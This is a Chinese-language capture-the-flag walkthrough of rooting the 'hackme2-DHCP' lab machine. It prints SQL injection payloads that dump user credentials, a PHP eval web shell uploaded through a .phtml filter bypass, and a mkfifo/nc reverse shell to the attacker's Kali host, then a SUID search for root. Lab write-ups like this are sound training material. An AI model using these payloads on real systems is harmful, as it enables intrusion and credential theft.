hackme2-DHCP 打靶记录
0x01 靶场环境
局域网网段:192.168.111.0/24
攻击机 kali:192.168.111.128/24
目标机 hackme2-DHCP:192.168.111.131/24
0x02 打靶目标
拿到目标主机的ROOT权限
0x03 信息收集
nmap扫描到目标主机

接着扫描开放的端口以及服务

开放了web服务和远程SSH登录,打开web网站是一个简易的登录框

并且有注册功能,可以注册账号登录进去

登录进来后是一个查询的功能,测试了几次都没回显,扫描器扫一波目录文件

渗透前的信息收集到这
0x04 Web渗透
sql注入
这么多可能与数据库交互的地方,第一个猜测的就是可能会存在sql注入漏洞,打算在查找书名的地方入手
空白查询的时候会显示所有的书籍信息

当我输入书籍名称的时候也会出现该书籍的相关信息

起初我试了各种闭合符以及万能密码都显示不出信息,直到测试输入一个O

这就有意思了,类似于like的模糊查询,只要输入书籍名字的前一部分查询,都能回显信息
猜测后端的代码逻辑可能是
like' ".$input." %'; |
这也能够合理解释为什么输入空白查询能显示出所有课本信息
针对此代码逻辑构造payload
O%' and '666' like '6 |
拼接之后的代码逻辑类似于
book_table like 'O%' and '666' like '6%'; |

改payload
O%' and '666' like '5 |

查不到数据了,payload验证成功
查数据库,看表结构应该有三个字段,有回显,用联合查询
O%'/**/union/**/select/**/database(),2,3/**/like' |

查数据表
O%'/**/union/**/select/**/group_concat(table_name),2,3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'web |

注入user表的信息,得到管理员的账号密码
O%'/**/union/**/select/**/group_concat(user),group_concat(pasword),3/**/from/**/users/**/where/**/'1'/**/like/**/' |

有个superadmin,应该就是管理员账号了,密码好像是md5加密,john工具解不开
用在线md5爆破出密码

账号:superadmin 密码:Uncrackable
退出现有账户用管理员登录,有两个功能

文件上传和用户查询
文件上传
试着上传木马
eval($_POST[1]); |

上传php,类似做了白名单的限制,上传图片也访问不了,因为uploads目录根本就不存在
上传点利用失败
命令执行
下一个功能点是搜索框,简单测试了一下,存在XSS漏洞

不过对于我们拿shell没有帮助,当我们输入框都输入 2*2

在Last Name框中对输入做了运算,猜测后端可能用了eval函数做了处理

存在命令执行漏洞,反弹shell不成功,echo写木马也写不进去,wget远程下马也不行,好像是不出网
看源码吧,

做了黑名单,对上传的文件名做了限制,但是限制的不多,phtml后缀好像是可以绕过的

找到上传路径了,游览器访问也是存在的。那么思路就有了,继续文件上传
编写一个后缀为phtml的木马

木马上传成功,用蚁剑连接
蚁剑没有-e参数,常规nc反弹用不了,用bash反弹也不成功,虚拟终端使用如下命令反弹
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.111.128 8080 >/tmp/f |
因为虚拟终端没有参数-e,常规的反弹shell用不了。那么就使用linux的无-e参数的反弹shell。mkfifo 命令首先创建了一个命令管道,nc与kali机建立socket连接,kali机上输入的命令将输入重定向到命令管道,cat /tmp/f查看该命令管道里的内容,并且作为/bin/sh的输入,交互式shell,执行kali机输入的命令,2>&1将标准输出和标准错误输出传递给nc,然后回显到我们的kali机上,形成一个回路。 |

shell反弹成功
Linux提权
查找具有s权限的文件
find / -perm -u=s -type f 2>/dev/null |

貌似是一个二进制文件

试试运行一下

获得ROOT权限,提权成功
打靶收获:锻炼了漏洞的综合利用能力